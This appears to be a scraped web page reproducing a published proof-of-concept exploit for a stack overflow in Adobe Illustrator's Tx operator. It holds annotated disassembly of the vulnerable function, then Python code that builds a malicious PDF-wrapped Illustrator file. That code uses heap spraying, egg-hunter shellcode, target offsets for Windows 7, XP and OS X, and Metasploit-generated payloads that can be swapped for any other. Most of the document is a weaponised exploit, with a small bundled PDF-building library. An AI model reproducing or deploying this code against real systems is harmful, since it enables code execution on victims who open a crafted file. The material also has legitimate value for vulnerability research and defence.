扫码分享
验证：
体验盒子|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329 330 331 332 333 334 335 336 337 338 339 340 341 342 343 344 345 346 347 348 349 350 351 352 353 354 355 356 357 358 359 360 361 362 363 364 365 366 367 368 369 370 371 372 373 374 375 376 377 378 379 380 381 382 383 384 385 386 387 388 389 390 391 392 393 394 395 396 397 398 399 400 401 402 403 404 405 406 407 408 409 410 411 412 413 414 415 416 417 418 419 420 421 422 423 424 425 426 427 428 429 430 431 432 433 434 435 436 437 438 439 440 441 442 443 444 445 446 447 448 449 450 451 452 453 454 455 456 457 458 459 460 461 462 463 464 465 466 467 468 469 470 471 472 473 474 475 476 477 478 479 480 481 482 483 484 485 486 487 488 489 490 491 492 493 494 495 496 497 498 499 500 501 502 503 504 505 506 507 508 509 510 511 512 513 514 515 516 517 518 519 520 521 522 523 524 525 526 527 528 529 530 531 532 533 534 535 536 537 538 539 540 541 542 543 544 545 546 547 548 549 550 551 552 553 554 555 556 557 558 559 560 561 562 563 564 565 566 567 568 569 570 571 572 573 574 575 576 577 578 579 580 581 582 583 584 585 586 587 588 589 590 591 592 593 594 595 596 597 598 599 600 601 602 603 604 605 606 607 608 609 610 611 612 613 614 615 616 617 618 619 620 621 622 623 624 625 626 627 628 629 630 631 632 633 634 635 636 637 638 639 640 641 642 643 644 645 646 647 648 649 650 651 652 653 654 655 656 657 658 659 660 661 662 663 664 665 666 667 668 669 670 671 672 673 674 675 676 677 678 679 680 681 682 683 684 685 686 687 688 689 690 691 692 693 694 695 696 697 698 699 700 701 702 703 704 705 706 707 708 709 710 711 712 713 714 715 716 717 718 719 720 721 722 723 724 725 726 727 728 729 730 731 732 733 734 735 736 737 738 739 740 741 742 743 744 745 746 747 748 749 750 751 752 753 754 755 756 757 758 759 760 761 762 763 764 765 766 767 768 769 770 771 772 773 774 775 776 777 778 779 780 781 782 783 784 |
########################################################################## #### Felipe Andres Manzano * felipe.andres.manzano@gmail.com#### ########################################################################## ''' The vulnerable function follows... ---------------------------------- .text:004A7200 ; =============== S U B R O U T I N E ======================================= .text:004A7200 .text:004A7200 ; Attributes: bp-based frame .text:004A7200 .text:004A7200 sub_4A7200proc near .text:004A7200 .text:004A7200 var_11C = dword ptr -11Ch .text:004A7200 var_118 = dword ptr -118h .text:004A7200 var_114 = byte ptr -114h .text:004A7200 var_14= dword ptr -14h .text:004A7200 var_10= dword ptr -10h .text:004A7200 var_C = dword ptr -0Ch .text:004A7200 var_4 = dword ptr -4 .text:004A7200 arg_0 = dword ptr8 .text:004A7200 .text:004A7200 pushebp .text:004A7201 mov ebp, esp .text:004A7203 push0FFFFFFFFh .text:004A7205 pushoffset loc_C3B8C0 .text:004A720A mov eax, large fs:0 .text:004A7210 pusheax .text:004A7211 sub esp, 110h;Make room for a 256 bytes buffer, etc .text:004A7217 mov eax, dword_FB3380 .text:004A721C xor eax, ebp .text:004A721E mov [ebp+var_14], eax;Cookie! Immediately after the buffer .text:004A7221 pushebx .text:004A7222 pushesi .text:004A7223 pushedi .text:004A7224 pusheax .text:004A7225 lea eax, [ebp+var_C] .text:004A7228 mov large fs:0, eax .text:004A722E mov [ebp+var_10], esp .text:004A7231 mov ebx, [ebp+arg_0] .text:004A7234 mov edi, ecx .text:004A7236 mov ecx, ebx .text:004A7238 mov [ebp+var_118], ebx .text:004A723E callstd::basic_string::length(...) ;Original size offending size ;(It doesn;t stop at null chars) .text:004A7244 mov esi, eax .text:004A7246 pushesi .text:004A7247 mov ecx, ebx .text:004A7249 callstd::basic_string::c_str(...) .text:004A724F pusheax .text:004A7250 lea eax, [ebp+var_114] .text:004A7256 pusheax .text:004A7257 callmemcpy ;STACK OVERFLOW! (If more than 256 bytes) .text:004A725C lea eax, [ebp+esi+var_114] .text:004A7263 add esp, 0Ch .text:004A7266 mov [ebp+var_11C], eax .text:004A726C mov byte ptr [eax], 0 .text:004A726F mov [ebp+var_4], 0 .text:004A7276 lea esi, [ebp+var_114] .text:004A727C lea esp, [esp+0] .text:004A7280 .text:004A7280 loc_4A7280: .text:004A7280 cmp esi, eax .text:004A7282 jnb short loc_4A72B6 .text:004A7284 mov edx, [edi] .text:004A7286 mov eax, [edx+4] .text:004A7289 pushesi .text:004A728A mov ecx, edi .text:004A728C calleax ;Iterates over the stack copied buffer ;applying a 'locale'? character translation ;(Invalid chars noted in exploit) .text:004A728E testeax, eax .text:004A7290 jgshort loc_4A7297 .text:004A7292 mov eax, 1 .text:004A7297 .text:004A7297 loc_4A7297: .text:004A7297 add esi, eax .text:004A7299 mov eax, [ebp+var_11C] .text:004A729F jmp short loc_4A7280 .text:004A72AE ; --------------------------------------------------------------------------- .text:004A72AE .text:004A72AE loc_4A72AE: .text:004A72AE mov ebx, [ebp+var_118] .text:004A72B4 jmp short loc_4A72BD .text:004A72B6 ; --------------------------------------------------------------------------- .text:004A72B6 .text:004A72B6 loc_4A72B6: .text:004A72B6 mov [ebp+var_4], 0FFFFFFFFh .text:004A72BD .text:004A72BD loc_4A72BD: .text:004A72BD lea ecx, [ebp+var_114] .text:004A72C3 pushecx .text:004A72C4 mov ecx, ebx .text:004A72C6 callstd::basic_string::operator=(...) ;Here, due to local values ;corruption it is possible to ;write a translated version of ;our buffer to anywhere .text:004A72CC mov ecx, [ebp+var_C] .text:004A72CF mov large fs:0, ecx .text:004A72D6 pop ecx .text:004A72D7 pop edi .text:004A72D8 pop esi .text:004A72D9 pop ebx .text:004A72DA mov ecx, [ebp+var_14] .text:004A72DD xor ecx, ebp .text:004A72DF callsub_C27512 ;Check the cookie .text:004A72E4 mov esp, ebp .text:004A72E6 pop ebp .text:004A72E7 retn4 .text:004A72E7 sub_4A7200endp .text:004A72E7 f/ ''' #Exploit PoC begins... from miniPDF import * #http://pastebin.com/LUTXSSvV import zlib,struct,os,optparse,hashlib from subprocess import Popen, PIPE #Character translation map for the copied buffer (Reversed from function 004A72F0) cmap=[0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 0x20,0x21,0x22,0x23,0x24,0x25,0x26,0x27,0x28,0x29,0x2A,0x2B,0x2C,0x2D,0x2E,0x2F, 0x30,0x31,0x32,0x33,0x34,0x35,0x36,0x37,0x38,0x39,0x3A,0x3B,0x3C,0x3D,0x3E,0x3F, 0x40,0x41,0x42,0x43,0x44,0x45,0x46,0x47,0x48,0x49,0x4A,0x4B,0x4C,0x4D,0x4E,0x4F, 0x50,0x51,0x52,0x53,0x54,0x55,0x56,0x57,0x58,0x59,0x5A,0x5B,0x5C,0x5D,0x5E,0x5F, 0x60,0x61,0x62,0x63,0x64,0x65,0x66,0x67,0x68,0x69,0x6A,0x6B,0x6C,0x6D,0x6E,0x6F, 0x70,0x71,0x72,0x73,0x74,0x75,0x76,0x77,0x78,0x79,0x7A,0x7B,0x7C,0x7D,0x7E,0x00, 0x80,0x00,0x82,0x83,0x84,0x85,0x86,0x87,0x88,0x89,0x8A,0x8B,0x8C,0x00,0x00,0x00, 0x00,0x91,0x92,0x93,0x94,0x95,0x96,0x97,0x98,0x99,0x9A,0x9B,0x9C,0x00,0x00,0x9F, 0x20,0xA1,0xA2,0xA3,0xA4,0xA5,0xA6,0xA7,0xA8,0xA9,0xAA,0xAB,0xAC,0x2D,0xAE,0xAF, 0xB0,0xB1,0xB2,0xB3,0xB4,0xB5,0xB6,0xB7,0xB8,0xB9,0xBA,0xBB,0xBC,0xBD,0xBE,0xBF, 0xC0,0xC1,0xC2,0xC3,0xC4,0xC5,0xC6,0xC7,0xC8,0xC9,0xCA,0xCB,0xCC,0xCD,0xCE,0xCF, 0xD0,0xD1,0xD2,0xD3,0xD4,0xD5,0xD6,0xD7,0xD8,0xD9,0xDA,0xDB,0xDC,0xDD,0xDE,0xDF, 0xE0,0xE1,0xE2,0xE3,0xE4,0xE5,0xE6,0xE7,0xE8,0xE9,0xEA,0xEB,0xEC,0xED,0xEE,0xEF, 0xF0,0xF1,0xF2,0xF3,0xF4,0xF5,0xF6,0xF7,0xF8,0xF9,0xFA,0xFB,0xFC,0xFD,0xFE,0xFF] invalid = [ i for i in xrange(0,0xff+1) if cmap[i] != i and i>0x1f] def getXImage(width, height, fill='\x90', tail='\xcc'): ''' [ a b c d tx ty ] llx lly urx ury h w bits ImageType AlphaChannelCount reserved bin-ascii ImageMask XI Arguments to the XI operator specify the location and size of the image, its pixel bit depth, color type, and other attributes The image matrix maps the unit square of user space, bounded by (0, 0) and (1, 1) in user space, to the boundary of the source image in image space. ''' doc = '''0 A u 0 O 0 g 0 J 0 j 1 w 10 M []0 d 0 XR %AI5_File: %AI5_BeginRaster [$width$ 0 0 $height$ 0 0] 0 0 $width$ $height$ $width$ $height$ 8 1 0 0 $bin_ascii$ 0 %%BeginData: $size$ XI $data$ %%EndData XH %AI5_EndRaster F U ''' bin_ascii = 1 #binary doc = doc.replace('$width$','%d'%width) doc = doc.replace('$height$','%d'%height) doc = doc.replace('$bin_ascii$','%d'%bin_ascii) doc = doc.replace('$size$','%d'%(width*height)) data = (fill*(width*height)) data = data[:width*height-len(tail)]+tail if bin_ascii == 0: data = data.encode('hex') data_formated = '' for i in xrange(0,len(data)+62,62): data_formated += '%'+data[i:i+62]+'\n' data = data_formated doc = doc.replace('$data$',data) return doc def makeASCIICode(msfpayload): msfpayload = Popen('msfpayload3.5 %s R'%msfpayload, shell=True, stdout=PIPE) msfencode= Popen("msfencode3.5 BufferRegister=EAX -e x86/alpha_mixed -b '%s' -t raw"%''.join(['\\x%02x'%x for x in invalid]), shell=True, stdin=msfpayload.stdout, stdout=PIPE) code = msfencode.communicate()[0] return code def mkAIPrivate(options): baseai = ''' %!PS-Adobe-3.0 %%Creator: Adobe Illustrator(TM) 3.2 %%AI8_CreatorVersion: 15.0.2 %AI5_FileFormat 11.0 %%For: (Administrator) () %%Title: (thafile.ai) %%CreationDate: 1/21/2011 12:32 PM %%Canvassize: 16383 %%BoundingBox: 29 -389 198 75 %%DocumentProcessColors: Black %%DocumentFonts: MyriadPro-Regular %%DocumentNeededFonts: MyriadPro-Regular %%DocumentNeededResources: procset Adobe_packedarray 2.0 0 %%+ procset Adobe_cshow 1.1 0 %%+ procset Adobe_customcolor 1.0 0 %%+ procset Adobe_typography_AI3 1.0 1 %%+ procset Adobe_pattern_AI3 1.0 0 %%+ procset Adobe_Illustrator_AI3 1.0 1 %AI3_ColorUsage: Color %AI3_TemplateBox: 298 -421 298 -421 %AI3_TileBox: -8.35986 -816.9453 603.6406 -24.9448 %AI3_DocumentPreview: None %%PageOrigin:-8 -817 %AI7_GridSettings: 72 8 72 8 1 0 0.8 0.8 0.8 0.9 0.9 0.9 %AI9_Flatten: 1 %AI12_CMSettings: 00.MS %%EndComments %%BeginProlog %%IncludeResource: procset Adobe_packedarray 2.0 0 Adobe_packedarray /initialize get exec %%IncludeResource: procset Adobe_cshow 1.1 0 %%IncludeResource: procset Adobe_customcolor 1.0 0 %%IncludeResource: procset Adobe_typography_AI3 1.0 1 %%IncludeResource: procset Adobe_pattern_AI3 1.0 0 %%IncludeResource: procset Adobe_Illustrator_AI3 1.0 1 %%EndProlog %%BeginSetup %%IncludeFont: MyriadPro-Regular Adobe_cshow /initialize get exec Adobe_customcolor /initialize get exec Adobe_typography_AI3 /initialize get exec Adobe_pattern_AI3 /initialize get exec Adobe_Illustrator_AI3 /initialize get exec [ 39/quotesingle 96/grave 128/Euro 130/quotesinglbase/florin/quotedblbase/ellipsis /dagger/daggerdbl/circumflex/perthousand/Scaron/guilsinglleft/OE 145/quoteleft /quoteright/quotedblleft/quotedblright/bullet/endash/emdash/tilde/trademark /scaron/guilsinglright/oe/dotlessi 159/Ydieresis /space 164/currency 166/brokenbar 168/dieresis/copyright/ordfeminine 172/logicalnot/hyphen/registered/macron/ring /plusminus/twosuperior/threesuperior/acute/mu 183/periodcentered/cedilla /onesuperior/ordmasculine 188/onequarter/onehalf/threequarters 192/Agrave /Aacute/Acircumflex/Atilde/Adieresis/Aring/AE/Ccedilla/Egrave/Eacute /Ecircumflex/Edieresis/Igrave/Iacute/Icircumflex/Idieresis/Eth/Ntilde /Ograve/Oacute/Ocircumflex/Otilde/Odieresis/multiply/Oslash/Ugrave /Uacute/Ucircumflex/Udieresis/Yacute/Thorn/germandbls/agrave/aacute /acircumflex/atilde/adieresis/aring/ae/ccedilla/egrave/eacute/ecircumflex /edieresis/igrave/iacute/icircumflex/idieresis/eth/ntilde/ograve/oacute /ocircumflex/otilde/odieresis/divide/oslash/ugrave/uacute/ucircumflex /udieresis/yacute/thorn/ydieresis TE %AI3_BeginEncoding: _MyriadPro-Regular MyriadPro-Regular [/_MyriadPro-Regular/MyriadPro-Regular 0 0 1 TZ %AI3_EndEncoding AdobeType %%EndSetup $HEAPSPRAY$ u 0 To 1 0 0 1 63.9058 -54.9058 0 Tp TP 1 0 0 1 63.9058 -54.9058 Tm 0 Tr 0 O 0 0 0 1 k 4 M /_MyriadPro-Regular 12 Tf 100 Tz 0 Tt 0 0 Tl 0 Tc ($PATTERN$) Tx 1 0 Tk TO U %%PageTrailer gsave annotatepage grestore showpage %%Trailer Adobe_Illustrator_AI3 /terminate get exec Adobe_pattern_AI3 /terminate get exec Adobe_typography_AI3 /terminate get exec Adobe_customcolor /terminate get exec Adobe_cshow /terminate get exec Adobe_packedarray /terminate get exec %%EOF ''' #configure token and search code snipet token = 0x494c4546 if options.w7: #Win7 In w7 the environment memory is 0x10000bytes long! msfpayload = 'windows/exec CMD=calc.exe EXITFUNC=process' baseai = baseai.replace('$HEAPSPRAY$','') jmp_addr = 0x00001FF01 write_addr = 0x0001FF01 elif options.xp: #XPSP3 msfpayload = 'windows/exec CMD=calc.exe EXITFUNC=process' baseai = baseai.replace('$HEAPSPRAY$','') jmp_addr = 0x10F00 write_addr = 0x10F00 elif options.osx: code = Popen('msfpayload3.5 osx/x86/exec CMD=/Applications/Calculator.app/Contents/MacOS/Calculator EXITFUNC=process R', shell=True, stdout=PIPE).communicate()[0] baseai = baseai.replace('$HEAPSPRAY$',getXImage(1020,1024,fill='\x90',tail='\xcc'+code+'\xcc')*300 ) payload = "A"*284 payload += struct.pack("<L", 0x31000100) #Write the string in octal form ai_data = baseai.replace('$PATTERN$', ''.join(['\\%o'%ord(i) for i in payload])) return ai_data elif options.multi: msfpayload = 'windows/exec CMD=calc.exe EXITFUNC=seh' jmp_addr = 0x18e41111 write_addr = 0xFFFF #Segfault #configure token and search code snipet search = '\x80\x79\xff\x01'#CMP BYTE [ECX-1],1 search += '\x74\x18'#JZ fixstack search += '\xc6\x41\xff\x01'#MOV BYTE [ECX-1],1 search += '\x58'#search: pop EAX search += '\x3D'+struct.pack('<L',token)#cmp EAX, $token search += '\x75\xF8'#jnz %search search += '\x89\xe0'#mov eax,esp search += '\x81\xec'+struct.pack("<L",0x1000) #sub esp, 0x1000 search += '\x89\xe5'#mov ebp,esp search += '\xFF\xD0'#CALL EAX ##Second crash fix stack # Search for stack signature (Tested in 15.0.0 15.0.1 15.0.2) # 00000045 # 00000001 # 00000000 # 00000045 search +='\x81\xc4'+struct.pack("<L",0x1000) #add esp, 0x1000 search += '\x58'#POP EAX search += '\x40'#INC EAX search += '\x83\xF8\x46'#CMP EAX,46 search += '\x75\xF9'#JNE SHORT loop ### search += '\x58'#POP EAX search += '\x40'#INC EAX search += '\x83\xF8\x02'#CMP EAX,02 search += '\x75\xF9'#JNE SHORT loop ### search += '\x58'#POP EAX search += '\x40'#INC EAX search += '\x83\xF8\x01'#CMP EAX,01 search += '\x75\xF9'#JNE SHORT loop ### search += '\x58'#POP EAX search += '\x40'#INC EAX search += '\x83\xF8\x46'#CMP EAX,46 search += '\x75\xF9'#JNE SHORT loop #Fix frame and return search += '\x83\xEC\x1C' #SUB ESP,1C search += '\x5d' #POP EBP search += '\xc3' #RET baseai = baseai.replace('$HEAPSPRAY$',getXImage(1020,1024,fill='\x90',tail=search)*300 ) else: #DEBUG def pattern(size): def _pattern(): for i in xrange(ord('a'),ord('z')+1): for j in xrange(ord('0'),ord('9')+1): for k in xrange(ord('A'),ord('Z')+1): for h in xrange(ord('0'),ord('9')+1): yield chr(i) yield chr(j) yield chr(k) yield chr(h) return''.join(list(_pattern())[:size]) p = pattern(3000) ai_data = baseai.replace('($PATTERN$)','('+p+')').replace('$HEAPSPRAY$',getXImage(1020,1024)*20) return ai_data #prepare shellcode.. if options.payload: msfpayload = args[1] code = makeASCIICode(msfpayload) search = '\x58'#search: pop EAX search += '\x3D'+struct.pack('<L',token)#cmp EAX, $token search += '\x75\xF8'#jnz %search search += '\x89\xe0'#mov eax,esp search += '\x89\xe5'#mov ebp,esp search += '\xFF\xD0'#CALL EAX payload =search payload += 'A'*(268 - len(payload)) payload += struct.pack('<L',jmp_addr)#offset 268 payload += 'B'*(352 - len(payload)) payload += struct.pack('<L', write_addr) #offset 352 (originally a heap address) payload += 'C'*(376 - len(payload)) payload += struct.pack('<L',token) #offset 376 payload += code#offset 380 assert len(payload)<=0x3000, 'Payload too long!, it may hit the end of the stack' #Double check it doesn't have invalid chars... for c in search: assert not ord(c) in invalid, 'c:%s is in %s'%('%02x'%ord(c),['\\x%02x'%x for x in invalid]) #Write the string in octal form ai_data = baseai.replace('$PATTERN$', ''.join(['\\%o'%ord(i) for i in payload])) #ai_data holds the ai private data to we inserted in the pdf shell return ai_data def mkPDFShell(ai_data): #The document doc = PDFDoc() #font font = PDFDict() font.add('Name', PDFName('F1')) font.add('Subtype', PDFName('Type1')) font.add('BaseFont', PDFName('Helvetica')) #name:font map fontname = PDFDict() fontname.add('F1',font) #resources resources = PDFDict() resources.add('Font',fontname) #contents contents= PDFStream({},'BT /F1 24 Tf 240 700 Td (Pedefe Pedefeito Pedefeon!) Tj ET') doc.add(contents) #begin illustrator bit private = PDFDict() illustrator = PDFDict() #slice the private data in 64k packs data = ai_data compress = {} chunk_size = 0xffff*20 for i in xrange(0,len(data)/chunk_size+1): priv_data = PDFStream({'Filter': '/FlateDecode'},data[chunk_size*i:chunk_size*(i+1)].encode('zlib')) hsh = hashlib.md5(priv_data.stream) if not hsh.hexdigest() in compress.keys(): doc.add(priv_data) ref = PDFRef(priv_data) compress[hsh.hexdigest()] = ref private.add('AIPrivateData%d'%(i+1),ref) private.add('NumBlock',PDFNum(len(data)/0xffff+1)) private.add('ContainerVersion',PDFNum(15.0)) private.add('CreatorVersion',PDFNum(15.0)) private.add('RoundtripVersion',PDFNum(15.0)) illustrator.add('LastModified',PDFString('D:20110202124811-07\'00\'')) illustrator.add('Private',PDFRef(private)) doc.add(private) doc.add(illustrator) #page page = PDFDict() page.add('Type',PDFName('Page')) page.add('Resources',resources) page.add('Contents', PDFRef(contents)) page.add('PieceInfo',PDFDict({'Illustrator': PDFRef(illustrator)})) doc.add(page) #pages pages = PDFDict() pages.add('Type', PDFName('Pages')) pages.add('Kids', PDFArray([PDFRef(page)])) pages.add('Count', PDFNum(1)) #add parent reference in page page.add('Parent',PDFRef(pages)) doc.add(pages) #catalog catalog = PDFDict() catalog.add('Type', PDFName('Catalog')) catalog.add('Pages', PDFRef(pages)) doc.add(catalog) doc.setRoot(catalog) return str(doc) if __name__ == '__main__': parser = optparse.OptionParser(description='Adobe Illustrator File Format Tx operator Stack Overflow') parser.add_option('--debug', action='store_true', default=False, help='For debugging') parser.add_option('--multi', action='store_true', default=False, help='Heapspraying for multitarget') parser.add_option('--w7', action='store_true', default=False, help='For Windows7') parser.add_option('--xp', action='store_true', default=False, help='For Windows XP (generic)') parser.add_option('--osx', action='store_true', default=False, help='For OSX (tested on plain leopard)') parser.add_option('--payload',action='store_true', default=False, help="Metasploit payload. Ex. 'windows/exec CMD=calc.exe'") parser.add_option('--doc', action='store_true', default=False, help='Print detailed documentation') (options, args) = parser.parse_args() if not options.w7 + options.xp + options.debug + options.multi + options.osx + options.doc== 1: print 'Try --help' exit(-1) elif options.doc: print __doc__ exit(0) ai_data = mkAIPrivate(options) print mkPDFShell(ai_data) #f/ ########################### miniPDF.py module ############################ ########################################################################## #### Felipe Andres Manzano * felipe.andres.manzano@gmail.com#### #### http://twitter.com/feliam * http://wordpress.com/feliam#### ########################################################################## import struct #For constructing a minimal pdf file ## PDF REference 3rd edition:: 3.2 Objects class PDFObject: def __init__(self): self.n=None self.v=None def __str__(self): raise Exception("Fail") ## PDF REference 3rd edition:: 3.2.1 Booleans Objects class PDFBool(PDFObject): def __init__(self,s): PDFObject.__init__(self) self.s=s def __str__(self): if self.s: return "true" return "false" ## PDF REference 3rd edition:: 3.2.2 Numeric Objects class PDFNum(PDFObject): def __init__(self,s): PDFObject.__init__(self) self.s=s def __str__(self): return "%s"%self.s ## PDF REference 3rd edition:: 3.2.3 String Objects class PDFString(PDFObject): def __init__(self,s): PDFObject.__init__(self) self.s=s def __str__(self): return "(%s)"%self.s ## PDF REference 3rd edition:: 3.2.3 String Objects / Hexadecimal Strings class PDFHexString(PDFObject): def __init__(self,s): PDFObject.__init__(self) self.s=s def __str__(self): return "<" + "".join(["%02x"%ord(c) for c in self.s]) + ">" ## A convenient type of literal Strings class PDFOctalString(PDFObject): def __init__(self,s): PDFObject.__init__(self) self.s="".join(["\\%03o"%ord(c) for c in s]) def __str__(self): return "(%s)"%self.s ## PDF REference 3rd edition:: 3.2.4 Name Objects class PDFName(PDFObject): def __init__(self,s): PDFObject.__init__(self) self.s=s def __str__(self): return "/%s"%self.s ## PDF REference 3rd edition:: 3.2.5 Array Objects class PDFArray(PDFObject): def __init__(self,s): PDFObject.__init__(self) assert type(s) == type([]) self.s=s def append(self,o): self.s.append(o) return self def __str__(self): return "[%s]"%(" ".join([ o.__str__() for o in self.s])) ## PDF REference 3rd edition:: 3.2.6 Dictionary Objects class PDFDict(PDFObject): def __init__(self, d={}): PDFObject.__init__(self) self.dict = {} for k in d: self.dict[k]=d[k] def __iter__(self): for k in self.dict.keys(): yield k def __iterkeys__(self): for k in self.dict.keys(): yield k def __getitem__(self, key): return self.dict[key] def add(self,name,obj): self.dict[name] = obj def get(self,name): if name in self.dict.keys(): return self.dict[name] else: return None def __str__(self): s="<<" for name in self.dict: s+="%s %s "%(PDFName(name),self.dict[name]) s+=">>" return s ## PDF REference 3rd edition:: 3.2.7 Stream Objects class PDFStream(PDFDict): def __init__(self,d={},stream=""): PDFDict.__init__(self,d) self.stream=stream self.filtered=self.stream self.add('Length', len(stream)) self.filters = [] def appendFilter(self, filter): self.filters.append(filter) self._applyFilters() #yeah every time .. so what! def _applyFilters(self): self.filtered = self.stream for f in self.filters: self.filtered = f.encode(self.filtered) if len(self.filters)>0: self.add('Length', len(self.filtered)) self.add('Filter', PDFArray([f.name for f in self.filters])) #Add Filter parameters ? def __str__(self): self._applyFilters() #yeah every time .. so what! s="" s+=PDFDict.__str__(self) s+="\nstream\n" s+=self.filtered s+="\nendstream" return s ## PDF REference 3rd edition:: 3.2.8 Null Object class PDFNull(PDFObject): def __init__(self): PDFObject.__init__(self) def __str__(self): return "null" ## PDF REference 3rd edition:: 3.2.9 Indirect Objects class UnResolved(PDFObject): def __init__(self,n,v): PDFObject.__init__(self) self.n=n self.v=v def __str__(self): return "UNRESOLVED(%d %d)"%(self.n,self.v) class PDFRef(PDFObject): def __init__(self,obj): PDFObject.__init__(self) self.obj=[obj] def __str__(self): if len(self.obj)==0: return "null" return "%d %d R"%(self.obj[0].n,self.obj[0].v) ## PDF REference 3rd edition:: 3.3 Filters ## Example Filter... class FlateDecode: name = PDFName('FlateDecode') def __init__(self): pass def encode(self,stream): return zlib.compress(stream) def decode(self,stream): return zlib.decompress(stream) ## PDF REference 3rd edition:: 3.4 File Structure ## Simplest file structure... class PDFDoc(): def __init__(self,obfuscate=0): self.objs=[] self.info=None self.root=None def setRoot(self,root): self.root=root def setInfo(self,info): self.info=info def _add(self,obj): if obj.v!=None or obj.n!=None: raise Exception("Already added!!!") obj.v=0 obj.n=1+len(self.objs) self.objs.append(obj) def add(self,obj): if type(obj) != type([]): self._add(obj); else: for o in obj: self._add(o) def _header(self): return "%PDF-1.5\n%\xE7\xF3\xCF\xD3\n" def __str__(self): doc1 = self._header() xref = {} for obj in self.objs: xref[obj.n] = len(doc1) doc1+="%d %d obj\n"%(obj.n,obj.v) doc1+=obj.__str__() doc1+="\nendobj\n" posxref=len(doc1) doc1+="xref\n" doc1+="0 %d\n"%(len(self.objs)+1) doc1+="0000000000 65535 f \n" for xr in xref.keys(): doc1+= "%010d %05d n \n"%(xref[xr],0) doc1+="trailer\n" trailer =PDFDict() trailer.add("Size",len(self.objs)+1) if self.root == None: raise Exception("Root not set!") trailer.add("Root",PDFRef(self.root)) if self.info: trailer.add("Info",PDFRef(self.info)) doc1+=trailer.__str__() doc1+="\nstartxref\n%d\n"%posxref doc1+="%%EOF" return doc1 |
体验盒子
